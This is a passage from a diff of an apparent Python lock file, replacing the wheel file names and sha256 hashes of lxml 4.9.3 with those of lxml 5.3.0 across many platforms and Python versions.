"lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:141f1d1a9b663c679dc524af3ea1773e618907e96075262726c7612c02b149a4"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"}, - {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"}, - {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:71d66ee82e7417828af6ecd7db817913cb0cf9d4e61aa0ac1fde0583d84358db"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"}, - {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"}, - {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"}, - {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:fbf521479bcac1e25a663df882c46a641a9bff6b56dc8b0fafaebd2f66fb231b"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"}, - {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"}, - {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"}, - {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:05186a0f1346ae12553d66df1cfce6f251589fea3ad3da4f3ef4e34b2d58c6a3"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:50670615eaf97227d5dc60de2dc99fb134a7130d310d783314e7724bf163f75d"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e4da8ca0c0c0aea88fd46be8e44bd49716772358d648cce45fe387f7b92374a7"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"}, - {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"}, + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dd36439be765e2dde7660212b5275641edbc813e7b24668831a5c8ac91180656"}, + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ae5fe5c4b525aa82b8076c1a59d642c17b6e8739ecf852522c6321852178119d"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:501d0d7e26b4d261fca8132854d845e4988097611ba2531408ec91cf3fd9d20a"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb66442c2546446944437df74379e9cf9e9db353e61301d1a0e26482f43f0dd8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9e41506fec7a7f9405b14aa2d5c8abbb4dbbd09d88f9496958b6d00cb4d45330"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f7d4a670107d75dfe5ad080bed6c341d18c4442f9378c9f58e5851e86eb79965"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41ce1f1e2c7755abfc7e759dc34d7d05fd221723ff822947132dc934d122fe22"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:44264ecae91b30e5633013fb66f6ddd05c006d3e0e884f75ce0b4755b3e3847b"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:3c174dc350d3ec52deb77f2faf05c439331d6ed5e702fc247ccb4e6b62d884b7"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:2dfab5fa6a28a0b60a20638dc48e6343c02ea9933e3279ccb132f555a62323d8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b1c8c20847b9f34e98080da785bb2336ea982e7f913eed5809e5a3c872900f32"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2c86bf781b12ba417f64f3422cfc302523ac9cd1d8ae8c0f92a1c66e56ef2e86"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c162b216070f280fa7da844531169be0baf9ccb17263cf5a8bf876fcd3117fa5"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:36aef61a1678cb778097b4a6eeae96a69875d51d1e8f4d4b491ab3cfb54b5a03"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f65e5120863c2b266dbcc927b306c5b78e502c71edf3295dfcb9501ec96e5fc7"}, + {file = "lxml-5.3.0-cp310-cp310-win32.whl", hash = "sha256:ef0c1fe22171dd7c7c27147f2e9c3e86f8bdf473fed75f16b0c2e84a5030ce80"}, + {file = "lxml-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:052d99051e77a4f3e8482c65014cf6372e61b0a6f4fe9edb98503bb5364cfee3"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:74bcb423462233bc5d6066e4e98b0264e7c1bed7541fff2f4e34fe6b21563c8b"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a3d819eb6f9b8677f57f9664265d0a10dd6551d227afb4af2b9cd7bdc2ccbf18"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5b8f5db71b28b8c404956ddf79575ea77aa8b1538e8b2ef9ec877945b3f46442"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c3406b63232fc7e9b8783ab0b765d7c59e7c59ff96759d8ef9632fca27c7ee4"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ecdd78ab768f844c7a1d4a03595038c166b609f6395e25af9b0f3f26ae1230f"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168f2dfcfdedf611eb285efac1516c8454c8c99caf271dccda8943576b67552e"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa617107a410245b8660028a7483b68e7914304a6d4882b5ff3d2d3eb5948d8c"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:69959bd3167b993e6e710b99051265654133a98f20cec1d9b493b931942e9c16"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:bd96517ef76c8654446fc3db9242d019a1bb5fe8b751ba414765d59f99210b79"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:ab6dd83b970dc97c2d10bc71aa925b84788c7c05de30241b9e96f9b6d9ea3080"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:eec1bb8cdbba2925bedc887bc0609a80e599c75b12d87ae42ac23fd199445654"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6a7095eeec6f89111d03dabfe5883a1fd54da319c94e0fb104ee8f23616b572d"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f651ebd0b21ec65dfca93aa629610a0dbc13dbc13554f19b0113da2e61a4763"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f422a209d2455c56849442ae42f25dbaaba1c6c3f501d58761c619c7836642ec"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:62f7fdb0d1ed2065451f086519865b4c90aa19aed51081979ecd05a21eb4d1be"}, + {file = "lxml-5.3.0-cp311-cp311-win32.whl", hash = "sha256:c6379f35350b655fd817cd0d6cbeef7f265f3ae5fedb1caae2eb442bbeae9ab9"}, + {file = "lxml-5.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c52100e2c2dbb0649b90467935c4b0de5528833c76a35ea1a2691ec9f1ee7a1"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e99f5507401436fdcc85036a2e7dc2e28d962550afe1cbfc07c40e454256a859"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:384aacddf2e5813a36495233b64cb96b1949da72bef933918ba5c84e06af8f0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:874a216bf6afaf97c263b56371434e47e2c652d215788396f60477540298218f"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65ab5685d56914b9a2a34d67dd5488b83213d680b0c5d10b47f81da5a16b0b0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aac0bbd3e8dd2d9c45ceb82249e8bdd3ac99131a32b4d35c8af3cc9db1657179"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b369d3db3c22ed14c75ccd5af429086f166a19627e84a8fdade3f8f31426e52a"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24037349665434f375645fa9d1f5304800cec574d0310f618490c871fd902b3"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:62d172f358f33a26d6b41b28c170c63886742f5b6772a42b59b4f0fa10526cb1"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c1f794c02903c2824fccce5b20c339a1a14b114e83b306ff11b597c5f71a1c8d"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:5d6a6972b93c426ace71e0be9a6f4b2cfae9b1baed2eed2006076a746692288c"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3879cc6ce938ff4eb4900d901ed63555c778731a96365e53fadb36437a131a99"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:74068c601baff6ff021c70f0935b0c7bc528baa8ea210c202e03757c68c5a4ff"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ecd4ad8453ac17bc7ba3868371bffb46f628161ad0eefbd0a855d2c8c32dd81a"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7e2f58095acc211eb9d8b5771bf04df9ff37d6b87618d1cbf85f92399c98dae8"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e63601ad5cd8f860aa99d109889b5ac34de571c7ee902d6812d5d9ddcc77fa7d"}, + {file = "lxml-5.3.0-cp312-cp312-win32.whl", hash = "sha256:17e8d968d04a37c50ad9c456a286b525d78c4a1c15dd53aa46c1d8e06bf6fa30"}, + {file = "lxml-5.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:c1a69e58a6bb2de65902051d57fde951febad631a20a64572677a1052690482f"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8c72e9563347c7395910de6a3100a4840a75a6f60e05af5e58566868d5eb2d6a"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e92ce66cd919d18d14b3856906a61d3f6b6a8500e0794142338da644260595cd"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d04f064bebdfef9240478f7a779e8c5dc32b8b7b0b2fc6a62e39b928d428e51"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c2fb570d7823c2bbaf8b419ba6e5662137f8166e364a8b2b91051a1fb40ab8b"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0c120f43553ec759f8de1fee2f4794452b0946773299d44c36bfe18e83caf002"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:562e7494778a69086f0312ec9689f6b6ac1c6b65670ed7d0267e49f57ffa08c4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:423b121f7e6fa514ba0c7918e56955a1d4470ed35faa03e3d9f0e3baa4c7e492"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:c00f323cc00576df6165cc9d21a4c21285fa6b9989c5c39830c3903dc4303ef3"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1fdc9fae8dd4c763e8a31e7630afef517eab9f5d5d31a278df087f307bf601f4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:658f2aa69d31e09699705949b5fc4719cbecbd4a97f9656a232e7d6c7be1a367"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1473427aff3d66a3fa2199004c3e601e6c4500ab86696edffdbc84954c72d832"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a87de7dd873bf9a792bf1e58b1c3887b9264036629a5bf2d2e6579fe8e73edff"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0d7b36afa46c97875303a94e8f3ad932bf78bace9e18e603f2085b652422edcd"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cf120cce539453ae086eacc0130a324e7026113510efa83ab42ef3fcfccac7fb"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:df5c7333167b9674aa8ae1d4008fa4bc17a313cc490b2cca27838bbdcc6bb15b"}, + {file = "lxml-5.3.0-cp313-cp313-win32.whl", hash = "sha256:c802e1c2ed9f0c06a65bc4ed0189d000ada8049312cfeab6ca635e39c9608957"}, + {file = "lxml-5.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:406246b96d552e0503e17a1006fd27edac678b3fcc9f1be71a2f94b4ff61528d"}, + {file = "lxml-5.3.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8f0de2d390af441fe8b2c12626d103540b5d850d585b18fcada58d972b74a74e"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1afe0a8c353746e610bd9031a630a95bcfb1a720684c3f2b36c4710a0a96528f"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56b9861a71575f5795bde89256e7467ece3d339c9b43141dbdd54544566b3b94"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:9fb81d2824dff4f2e297a276297e9031f46d2682cafc484f49de182aa5e5df99"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2c226a06ecb8cdef28845ae976da407917542c5e6e75dcac7cc33eb04aaeb237"}, + {file = "lxml-5.3.0-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:7d3d1ca42870cdb6d0d29939630dbe48fa511c203724820fc0fd507b2fb46577"}, + {file = "lxml-5.3.0-cp36-cp36m-win32.whl", hash = "sha256:094cb601ba9f55296774c2d57ad68730daa0b13dc260e1f941b4d13678239e70"}, + {file = "lxml-5.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:eafa2c8658f4e560b098fe9fc54539f86528651f61849b22111a9b107d18910c"}, + {file = "lxml-5.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cb83f8a875b3d9b458cada4f880fa498646874ba4011dc974e071a0a84a1b033"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25f1b69d41656b05885aa185f5fdf822cb01a586d1b32739633679699f220391"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23e0553b8055600b3bf4a00b255ec5c92e1e4aebf8c2c09334f8368e8bd174d6"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ada35dd21dc6c039259596b358caab6b13f4db4d4a7f8665764d616daf9cc1d"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:81b4e48da4c69313192d8c8d4311e5d818b8be1afe68ee20f6385d0e96fc9512"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:2bc9fd5ca4729af796f9f59cd8ff160fe06a474da40aca03fcc79655ddee1a8b"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07da23d7ee08577760f0a71d67a861019103e4812c87e2fab26b039054594cc5"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:ea2e2f6f801696ad7de8aec061044d6c8c0dd4037608c7cab38a9a4d316bfb11"}, + {file = "lxml-5.3.0-cp37-cp37m-win32.whl", hash = "sha256:5c54afdcbb0182d06836cc3d1be921e540be3ebdf8b8a51ee3ef987537455f84"}, + {file = "lxml-5.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:f2901429da1e645ce548bf9171784c0f74f0718c3f6150ce166be39e4dd66c3e"}, + {file = "lxml-5.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c56a1d43b2f9ee4786e4658c7903f05da35b923fb53c11025712562d5cc02753"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ee8c39582d2652dcd516d1b879451500f8db3fe3607ce45d7c5957ab2596040"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdf3a3059611f7585a78ee10399a15566356116a4288380921a4b598d807a22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:146173654d79eb1fc97498b4280c1d3e1e5d58c398fa530905c9ea50ea849b22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:0a7056921edbdd7560746f4221dca89bb7a3fe457d3d74267995253f46343f15"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:9e4b47ac0f5e749cfc618efdf4726269441014ae1d5583e047b452a32e221920"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f914c03e6a31deb632e2daa881fe198461f4d06e57ac3d0e05bbcab8eae01945"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:213261f168c5e1d9b7535a67e68b1f59f92398dd17a56d934550837143f79c42"}, + {file = "lxml-5.3.0-cp38-cp38-win32.whl", hash = "sha256:218c1b2e17a710e363855594230f44060e2025b05c80d1f0661258142b2add2e"}, + {file = "lxml-5.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:315f9542011b2c4e1d280e4a20ddcca1761993dda3afc7a73b01235f8641e903"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1ffc23010330c2ab67fac02781df60998ca8fe759e8efde6f8b756a20599c5de"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2b3778cb38212f52fac9fe913017deea2fdf4eb1a4f8e4cfc6b009a13a6d3fcc"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b0c7a688944891086ba192e21c5229dea54382f4836a209ff8d0a660fac06be"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:747a3d3e98e24597981ca0be0fd922aebd471fa99d0043a3842d00cdcad7ad6a"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86a6b24b19eaebc448dc56b87c4865527855145d851f9fc3891673ff97950540"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b11a5d918a6216e521c715b02749240fb07ae5a1fefd4b7bf12f833bc8b4fe70"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68b87753c784d6acb8a25b05cb526c3406913c9d988d51f80adecc2b0775d6aa"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:109fa6fede314cc50eed29e6e56c540075e63d922455346f11e4d7a036d2b8cf"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:02ced472497b8362c8e902ade23e3300479f4f43e45f4105c85ef43b8db85229"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:6b038cc86b285e4f9fea2ba5ee76e89f21ed1ea898e287dc277a25884f3a7dfe"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:7437237c6a66b7ca341e868cda48be24b8701862757426852c9b3186de1da8a2"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7f41026c1d64043a36fda21d64c5026762d53a77043e73e94b71f0521939cc71"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = 